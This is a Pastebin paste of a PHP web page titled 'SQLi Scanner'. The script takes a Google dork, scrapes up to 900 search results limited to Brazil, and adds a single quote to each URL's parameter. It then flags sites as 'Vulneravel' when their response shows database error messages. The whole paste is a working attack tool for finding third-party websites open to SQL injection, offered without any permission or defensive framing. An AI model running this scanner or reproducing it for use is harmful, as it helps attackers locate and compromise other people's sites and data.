Advertisement
Guest User

PHP SQLi Scanner

a guest
Apr 8th, 2011
3,008
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.54 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>Scanner</title>
  4. </head>
  5. <body>
  6. <?php
  7. echo "<center>";
  8. echo "<form action='' method='post'>";
  9. echo "<b>Dork</b>: <p><input type='text' name='dork' value='inurl:site.php?id='></p>";
  10. echo "<input type='submit' value=' Procurar '>";
  11. echo "<hr><br />";
  12. echo "</center>";
  13.  
  14. if($_POST['dork']) {
  15.  
  16. @set_time_limit(0);
  17. @error_reporting(0);
  18. @ignore_user_abort(true);
  19. ini_set('memory_limit', '128M');
  20.  
  21. $google = "http://www.google.com/cse?cx=013269018370076798483%3Awdba3dlnxqm&q=REPLACE_DORK&num=100&hl=pt-BR&cr=countryBR&as_qdr=all&start=REPLACE_START&sa=N";
  22.  
  23. $i = 0;
  24. $a = 0;
  25. $b = 0;
  26.  
  27. while($b <= 900) {
  28. $a = 0;
  29. flush(); ob_flush();
  30. echo "Paginas = $b <br />";
  31. echo "Procurando...<br />";
  32. flush(); ob_flush();
  33.  
  34. if(preg_match("/did not match any documents/", Connect_Host(str_replace(array("REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']."", "$b"), $google)), $val)) {
  35. echo "Bisey bulunamad&#305;<br />";
  36. flush(); ob_flush();
  37. break;
  38. }
  39.  
  40. preg_match_all("/<h2 class=(.*?)><a href=\"(.*?)\" class=(.*?)>/", Connect_Host(str_replace(array("REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']."", "$b"), $google)), $sites);
  41. echo "Sites <br />";
  42. flush(); ob_flush();
  43. while(1) {
  44.  
  45. if(preg_match("/You have an error in your SQL|Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|SQL query failed/", Connect_Host(str_replace("=", "='", $sites[2][$a])))) {
  46. echo "<a href='".Clean(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectok'>".str_replace("=", "='", $sites[2][$a])."</a> --- <b><font color='red' size='4'>Vulneravel</font></b><br />";
  47. } else {
  48. echo "<a href='".Clean(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectfalse'>".str_replace("=", "='", $sites[2][$a])."</a> --- <i> Sem Falha </i></font><br />";
  49. flush(); ob_flush();
  50. }
  51. if($a > count($sites[2])-2) {
  52. echo "Fim<br />";
  53. break;
  54. }
  55. $a = $a+1;
  56. }
  57. $b = $b+100;
  58. }
  59. }
  60.  
  61. function Connect_Host($url) {
  62. $ch = curl_init();
  63. curl_setopt($ch, CURLOPT_FOLLOW, 0);
  64. curl_setopt($ch, CURLOPT_HEADER, 1);
  65. curl_setopt($ch, CURLOPT_URL, $url);
  66. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  67. curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  68. $data = curl_exec($ch);
  69. if($data) {
  70. return $data;
  71. } else {
  72. return 0;
  73. }
  74. }
  75.  
  76. function Clean($text) {
  77. return htmlspecialchars($text, ENT_QUOTES);
  78. }
  79.  
  80. ?>
  81.  
  82. </body>
  83. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement